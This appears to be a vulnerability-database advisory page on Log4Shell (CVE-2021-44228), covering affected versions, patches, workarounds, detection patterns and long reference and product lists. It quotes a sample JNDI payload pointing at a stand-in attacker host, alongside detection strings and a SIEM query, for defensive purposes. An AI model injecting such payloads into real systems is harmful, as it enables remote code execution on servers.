CVE-2021-44228

Q: What is the severity of CVE-2021-44228?

CVE-2021-44228 has a CVSS score of 10.0 (CRITICAL). CVE-2021-44228 (Log4Shell) is a critical remote code execution vulnerability in Apache Log4j2 that allows attackers to execute arbitrary code by exploiting JNDI lookups in log messages. This affects any application using vulnerable versions of log4j-core that processes attacker-controlled input. The vulnerability is particularly dangerous because it can be triggered through various input vectors including HTTP headers, user agents, and form fields.

10.0 CRITICAL

Remote Code Execution

📋 TL;DR

CVE-2021-44228 (Log4Shell) is a critical remote code execution vulnerability in Apache Log4j2 that allows attackers to execute arbitrary code by exploiting JNDI lookups in log messages. This affects any application using vulnerable versions of log4j-core that processes attacker-controlled input. The vulnerability is particularly dangerous because it can be triggered through various input vectors including HTTP headers, user agents, and form fields.

💻 Affected Systems

Products:

Apache Log4j2
Any Java application using log4j-core

Versions: 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1)

Operating Systems: All operating systems running Java applications

Default Config Vulnerable: ⚠️ Yes

Notes: Only affects log4j-core component. Applications must have message lookup substitution enabled (default in affected versions).

📦 What is this software?

⚠️ Risk & Real-World Impact

🔴

Worst Case

Full system compromise allowing attackers to execute arbitrary code, install malware, exfiltrate data, and pivot to other systems in the network.

🟠

Likely Case

Remote code execution leading to data theft, ransomware deployment, or cryptocurrency mining on vulnerable servers.

🟢

If Mitigated

Limited impact with proper network segmentation, egress filtering, and security controls preventing external JNDI connections.

🌐 Internet-Facing: HIGH - Internet-facing applications are directly exploitable by remote attackers without authentication.

🏢 Internal Only: HIGH - Internal applications remain vulnerable to insider threats or compromised internal systems.

🎯 Exploit Status

Public PoC: ⚠️ Yes

Weaponized: CONFIRMED

Unauthenticated Exploit: ⚠️ Yes

Complexity: LOW

Mass exploitation observed in the wild. Simple payloads like ${jndi:ldap://attacker.com/a} can trigger the vulnerability.

🛠️ Fix & Mitigation

✅ Official Fix

Patch Version: 2.16.0 (or 2.12.2, 2.12.3, 2.3.1 for older branches)

Vendor Advisory: https://logging.apache.org/log4j/2.x/security.html

Restart Required: Yes

Instructions:

1. Identify all applications using log4j-core. 2. Update to log4j-core 2.16.0 or later. 3. Restart all affected applications. 4. Verify the fix by checking version and testing.

🔧 Temporary Workarounds

Disable JNDI lookups

all

Set system property to disable JNDI lookups in log4j2

-Dlog4j2.formatMsgNoLookups=true

Remove JndiLookup class

linux

Remove the vulnerable class from log4j-core JAR file

zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

🧯 If You Can't Patch

Implement network egress filtering to block outbound LDAP, RMI, and DNS requests to untrusted destinations
Use WAF rules to block ${jndi:} patterns in incoming requests

🔍 How to Verify

Check if Vulnerable:

Check application dependencies for log4j-core versions 2.0-beta9 through 2.15.0 (excluding 2.12.2, 2.12.3, 2.3.1)

Check Version:

java -cp log4j-core-*.jar org.apache.logging.log4j.core.Version

Verify Fix Applied:

Verify log4j-core version is 2.16.0 or later, or 2.12.2/2.12.3/2.3.1

📡 Detection & Monitoring

Log Indicators:

${jndi:}
${lower:
${upper:
${env:
${sys:
${java:
${date:
${ctx:

Network Indicators:

Outbound LDAP/RMI/DNS requests from applications to suspicious domains
Unusual Java process spawning

SIEM Query:

source="*log*" AND "${jndi:" OR "${lower:" OR "${upper:" OR "${env:" OR "${sys:"

📊 Metadata

CVE ID: CVE-2021-44228

CVSS v3 Score: 10.0 (CRITICAL)

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CWE: CWE-20

Published: December 10, 2021

Last Updated: February 20, 2026

🔗 References

http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165260/VMware-Security-Advisory-2021-0028.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165261/Apache-Log4j2-2.14.1-Information-Disclosure.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165270/Apache-Log4j2-2.14.1-Remote-Code-Execution.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165281/Log4j2-Log4Shell-Regexes.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165282/Log4j-Payload-Generator.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165306/L4sh-Log4j-Remote-Code-Execution.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165307/Log4j-Remote-Code-Execution-Word-Bypassing.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165311/log4j-scan-Extensive-Scanner.html Broken Link,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165371/VMware-Security-Advisory-2021-0028.4.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165532/Log4Shell-HTTP-Header-Injection.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165642/VMware-vCenter-Server-Unauthenticated-Log4Shell-JNDI-Injection-Remote-Code-Execution.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165673/UniFi-Network-Application-Unauthenticated-Log4Shell-Remote-Code-Execution.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/167794/Open-Xchange-App-Suite-7.10.x-Cross-Site-Scripting-Command-Injection.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/167917/MobileIron-Log4Shell-Remote-Command-Execution.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/171626/AD-Manager-Plus-7122-Remote-Code-Execution.html Third Party Advisory,VDB Entry
http://seclists.org/fulldisclosure/2022/Dec/2 Exploit,Mailing List,Third Party Advisory
http://seclists.org/fulldisclosure/2022/Jul/11 Mailing List,Third Party Advisory
http://seclists.org/fulldisclosure/2022/Mar/23 Mailing List,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/10/1 Mailing List,Mitigation,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/10/2 Mailing List,Mitigation,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/10/3 Mailing List,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/13/1 Mailing List,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/13/2 Mailing List,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/14/4 Mailing List,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/15/3 Mailing List,Third Party Advisory
https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf Third Party Advisory
https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf Third Party Advisory
https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf Third Party Advisory
https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf Third Party Advisory
https://github.com/cisagov/log4j-affected-db Third Party Advisory
https://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.md Broken Link,Product,US Government Resource
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-44228 Exploit,Third Party Advisory
https://lists.debian.org/debian-lts-announce/2021/12/msg00007.html Mailing List,Third Party Advisory
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/M5CSVUNV4HWZZXGOKNSK6L7RPM7BOKIB/ Release Notes
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VU57UJDCFIASIO35GC55JMKSRXJMCDFM/ Release Notes
https://logging.apache.org/log4j/2.x/security.html Release Notes,Vendor Advisory
https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/ Patch,Third Party Advisory,Vendor Advisory
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032 Third Party Advisory
https://security.netapp.com/advisory/ntap-20211210-0007/ Third Party Advisory
https://support.apple.com/kb/HT213189 Third Party Advisory
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd Third Party Advisory
https://twitter.com/kurtseifried/status/1469345530182455296 Broken Link,Exploit,Third Party Advisory
https://www.bentley.com/en/common-vulnerability-exposure/be-2022-0001 Third Party Advisory
https://www.debian.org/security/2021/dsa-5020 Mailing List,Third Party Advisory
https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html Third Party Advisory
https://www.kb.cert.org/vuls/id/930724 Third Party Advisory,US Government Resource
https://www.nu11secur1ty.com/2021/12/cve-2021-44228.html Exploit,Third Party Advisory
https://www.oracle.com/security-alerts/alert-cve-2021-44228.html Third Party Advisory
https://www.oracle.com/security-alerts/cpuapr2022.html Patch,Third Party Advisory
https://www.oracle.com/security-alerts/cpujan2022.html Patch,Third Party Advisory
http://packetstormsecurity.com/files/165225/Apache-Log4j2-2.14.1-Remote-Code-Execution.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165260/VMware-Security-Advisory-2021-0028.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165261/Apache-Log4j2-2.14.1-Information-Disclosure.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165270/Apache-Log4j2-2.14.1-Remote-Code-Execution.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165281/Log4j2-Log4Shell-Regexes.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165282/Log4j-Payload-Generator.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165306/L4sh-Log4j-Remote-Code-Execution.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165307/Log4j-Remote-Code-Execution-Word-Bypassing.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165311/log4j-scan-Extensive-Scanner.html Broken Link,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165371/VMware-Security-Advisory-2021-0028.4.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165532/Log4Shell-HTTP-Header-Injection.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165642/VMware-vCenter-Server-Unauthenticated-Log4Shell-JNDI-Injection-Remote-Code-Execution.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/165673/UniFi-Network-Application-Unauthenticated-Log4Shell-Remote-Code-Execution.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/167794/Open-Xchange-App-Suite-7.10.x-Cross-Site-Scripting-Command-Injection.html Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/167917/MobileIron-Log4Shell-Remote-Command-Execution.html Exploit,Third Party Advisory,VDB Entry
http://packetstormsecurity.com/files/171626/AD-Manager-Plus-7122-Remote-Code-Execution.html Third Party Advisory,VDB Entry
http://seclists.org/fulldisclosure/2022/Dec/2 Exploit,Mailing List,Third Party Advisory
http://seclists.org/fulldisclosure/2022/Jul/11 Mailing List,Third Party Advisory
http://seclists.org/fulldisclosure/2022/Mar/23 Mailing List,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/10/1 Mailing List,Mitigation,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/10/2 Mailing List,Mitigation,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/10/3 Mailing List,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/13/1 Mailing List,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/13/2 Mailing List,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/14/4 Mailing List,Third Party Advisory
http://www.openwall.com/lists/oss-security/2021/12/15/3 Mailing List,Third Party Advisory
https://cert-portal.siemens.com/productcert/pdf/ssa-397453.pdf Third Party Advisory
https://cert-portal.siemens.com/productcert/pdf/ssa-479842.pdf Third Party Advisory
https://cert-portal.siemens.com/productcert/pdf/ssa-661247.pdf Third Party Advisory
https://cert-portal.siemens.com/productcert/pdf/ssa-714170.pdf Third Party Advisory
https://github.com/cisagov/log4j-affected-db Third Party Advisory
https://github.com/cisagov/log4j-affected-db/blob/develop/SOFTWARE-LIST.md Broken Link,Product,US Government Resource
https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-44228 Exploit,Third Party Advisory
https://lists.debian.org/debian-lts-announce/2021/12/msg00007.html Mailing List,Third Party Advisory
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/M5CSVUNV4HWZZXGOKNSK6L7RPM7BOKIB/ Release Notes
https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VU57UJDCFIASIO35GC55JMKSRXJMCDFM/ Release Notes
https://logging.apache.org/log4j/2.x/security.html Release Notes,Vendor Advisory
https://msrc-blog.microsoft.com/2021/12/11/microsofts-response-to-cve-2021-44228-apache-log4j2/ Patch,Third Party Advisory,Vendor Advisory
https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2021-0032 Third Party Advisory
https://security.netapp.com/advisory/ntap-20211210-0007/ Third Party Advisory
https://support.apple.com/kb/HT213189 Third Party Advisory
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd Third Party Advisory
https://twitter.com/kurtseifried/status/1469345530182455296 Broken Link,Exploit,Third Party Advisory
https://www.bentley.com/en/common-vulnerability-exposure/be-2022-0001 Third Party Advisory
https://www.debian.org/security/2021/dsa-5020 Mailing List,Third Party Advisory
https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00646.html Third Party Advisory
https://www.kb.cert.org/vuls/id/930724 Third Party Advisory,US Government Resource
https://www.nu11secur1ty.com/2021/12/cve-2021-44228.html Exploit,Third Party Advisory
https://www.oracle.com/security-alerts/alert-cve-2021-44228.html Third Party Advisory
https://www.oracle.com/security-alerts/cpuapr2022.html Patch,Third Party Advisory
https://www.oracle.com/security-alerts/cpujan2022.html Patch,Third Party Advisory
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2021-44228 Third Party Advisory,US Government Resource

📋 TL;DR

💻 Affected Systems

📦 What is this software?

6bk1602 0aa12 0tp0 Firmware by Siemens

6bk1602 0aa22 0tp0 Firmware by Siemens

6bk1602 0aa32 0tp0 Firmware by Siemens

6bk1602 0aa42 0tp0 Firmware by Siemens

6bk1602 0aa52 0tp0 Firmware by Siemens

Active Iq Unified Manager by Netapp

Active Iq Unified Manager by Netapp

Active Iq Unified Manager by Netapp

Advanced Malware Protection Virtual Private Cloud Appliance by Cisco

Automated Subsea Tuning by Cisco

Automated Subsea Tuning by Cisco

Broadworks by Cisco

Broadworks by Cisco

Brocade San Navigator by Netapp

Business Process Automation by Cisco

Business Process Automation by Cisco

Business Process Automation by Cisco

Capital by Siemens

Capital by Siemens

Capital by Siemens

Cloud Connect by Cisco

Cloud Insights by Netapp

Cloud Manager by Netapp

Cloud Secure Agent by Netapp

Cloudcenter by Cisco

Cloudcenter Cost Optimizer by Cisco

Cloudcenter Suite by Cisco

Cloudcenter Suite by Cisco

Cloudcenter Suite by Cisco

Cloudcenter Suite by Cisco

Cloudcenter Suite by Cisco

Cloudcenter Suite Admin by Cisco

Cloudcenter Workload Manager by Cisco

Common Services Platform Collector by Cisco

Common Services Platform Collector by Cisco

Common Services Platform Collector by Cisco

Common Services Platform Collector by Cisco

Common Services Platform Collector by Cisco

Common Services Platform Collector by Cisco

Common Services Platform Collector by Cisco

Common Services Platform Collector by Cisco

Common Services Platform Collector by Cisco

Comos by Siemens

Computer Vision Annotation Tool by Intel

Connected Mobile Experiences by Cisco

Contact Center Domain Manager by Cisco

Contact Center Management Portal by Cisco

Crosswork Data Gateway by Cisco

Crosswork Data Gateway by Cisco

Crosswork Network Automation by Cisco

Crosswork Network Automation by Cisco

Crosswork Network Automation by Cisco

Crosswork Network Automation by Cisco

Crosswork Network Automation by Cisco

Crosswork Network Controller by Cisco

Crosswork Network Controller by Cisco

Crosswork Optimization Engine by Cisco

Crosswork Optimization Engine by Cisco

Crosswork Platform Infrastructure by Cisco

Crosswork Platform Infrastructure by Cisco

Crosswork Zero Touch Provisioning by Cisco

Crosswork Zero Touch Provisioning by Cisco

Customer Experience Cloud Agent by Cisco

Cx Cloud Agent by Cisco

Cyber Vision by Cisco

Cyber Vision Sensor Management Extension by Cisco

Cyber Vision Sensor Management Extension by Cisco

Data Center Network Manager by Cisco

Data Center Network Manager by Cisco

Datacenter Manager by Intel

Debian Linux by Debian

Debian Linux by Debian

Debian Linux by Debian

Desigo Cc Advanced Reports by Siemens

Desigo Cc Advanced Reports by Siemens

Desigo Cc Advanced Reports by Siemens

Desigo Cc Advanced Reports by Siemens